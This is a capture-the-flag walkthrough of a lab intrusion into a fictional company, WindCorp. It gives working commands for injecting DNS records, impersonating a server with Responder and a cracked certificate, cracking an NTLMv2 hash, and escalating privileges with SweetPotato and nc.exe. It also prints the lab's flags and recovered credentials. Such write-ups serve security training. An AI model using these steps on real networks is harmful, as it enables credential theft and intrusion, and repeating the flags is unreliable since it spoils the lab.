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Walkthrough

nmap-scan 

Open ports





Story 
WindCorp recently had a security-breach. Since then they have hardened their infrastructure, 
learning from their mistakes. But maybe not enough? You have managed to enter their local 
network...
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Nikto 



Adding host in hostfile and checking https


Certificate 
The certificate reveals some ASNs
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Adding the other hostnames to our hostfile and checking them out in the browser.




The password reset from Ra is removed and a "Selfservice" button put there in its place.
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Trying the other hostname we found: 





Time for gobuster

On the main site we get an interesting hit.




On https://selfservice.dev.windcorp.thm/ we get a hit as well


https://selfservice.dev.windcorp.thm/
https://selfservice.dev.windcorp.thm/
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On /powershell we find a powershelgl web access web app, but we have no credentials.




on /backup we find a file named cert.pfx




Trying to read the pfx, but it is password-protected.




Cracking it





Andreas Finstad
Redacted
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The private key is also included in this package.


DNSRecon reveals an interesting TXT record
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Flag 1:

THM{Allowing nonsecure dynamic updates is a significant security vulnerability because updates can 
be accepted from untrusted sources}


So. This seems to suggest the server allows secure AND nonsecure DNS updates. We try to 
add a record to verify.


> server 192.168.16.30
> update add test.windcorp.thm 5 TXT "Don't mind me.."
> send

Checking

nslookup 
> server 192.168.16.30
Default server: 192.168.16.30
Address: 192.168.16.30#53
> set type=txt
> test.windcorp.thm
Server:         192.168.16.30
Address:        192.168.16.30#53

test.windcorp.thm       text = "Don't mind me.."

So we can add records.


Summing up what we know:


• There is a authenticated site https://selfservice.windcorp.thm

• We have the certificate and private  key, so we could impersonate that server

• We can alter DNS records, so impersonating sounds like a plan.


 


https://selfservice.windcorp.thm
https://selfservice.windcorp.thm
Andreas Finstad
Redacted
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First we add certificate to Responder. We need to extract the contents of the pfx to a certificate-file 
and a key-file.


openssl pkcs12 -in ~/Downloads/cert.pfx -out selfservice.crt.pem -clcerts 
-nokeys
Enter Import Password:
openssl pkcs12 -in ~/Downloads/cert.pfx -out selfservice.key.pem -nocerts 
-nodes
Enter Import Password:

Then edit /etc/responder/Responder.conf


[HTTPS Server]

; Configure SSL Certificates to use
SSLCert = /usr/share/responder/selfservice.crt.pem
SSLKey = /usr/share/responder/selfservice.key.pem

And start responder: responder -I eth0 


Then edit the record for selfservice


> server 192.168.16.30
> update delete selfservice.windcorp.thm 
> send
> update add selfservice.windcorp.thm 86400 A 192.168.16.53
> send
> quit
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Responder does it's job




John cracks it

john R2Hash -w=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!Angelus25!      (edwardle)
1g 0:00:00:06 DONE (2020-06-01 13:44) 0.1594g/s 2287Kp/s 2287Kc/s 2287KC/s !
SkicA!..!)(^karabatak55
Use the "--show --format=netntlmv2" options to display all of the cracked 
passwords reliably
Session completed
So we have credentials

edwardle:!Angelus25!     


Andreas Finstad
Redacted
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As the server is not running SSH, but there is an alternative, WinRM on port 5985. WinRM is used for 
PowerShell remoting, where an authenticated user can access the server and submit commands. 
Using the evil-winrm tool, we can access the server semi-interactively.
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Flag 2: THM{8a1d460dfe345f8edd09d45ae00e5c1c14d12c89}
Seems we have a privilege we shouldn't have; Impersonate

This makes us think of SweetPotato. Downloading and compiling using Visual Studio Community 
Edition

Andreas Finstad
Redacted

Andreas Finstad
Redacted
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Uploading files + nc.exe using powershell: Invoke-webrequest.
Executing

pwned

Flag 3: THM{9a8b9f4f3af2bce68885106c1c8473ab85e0eda0} 

Andreas Finstad
Redacted

Andreas Finstad
Redacted
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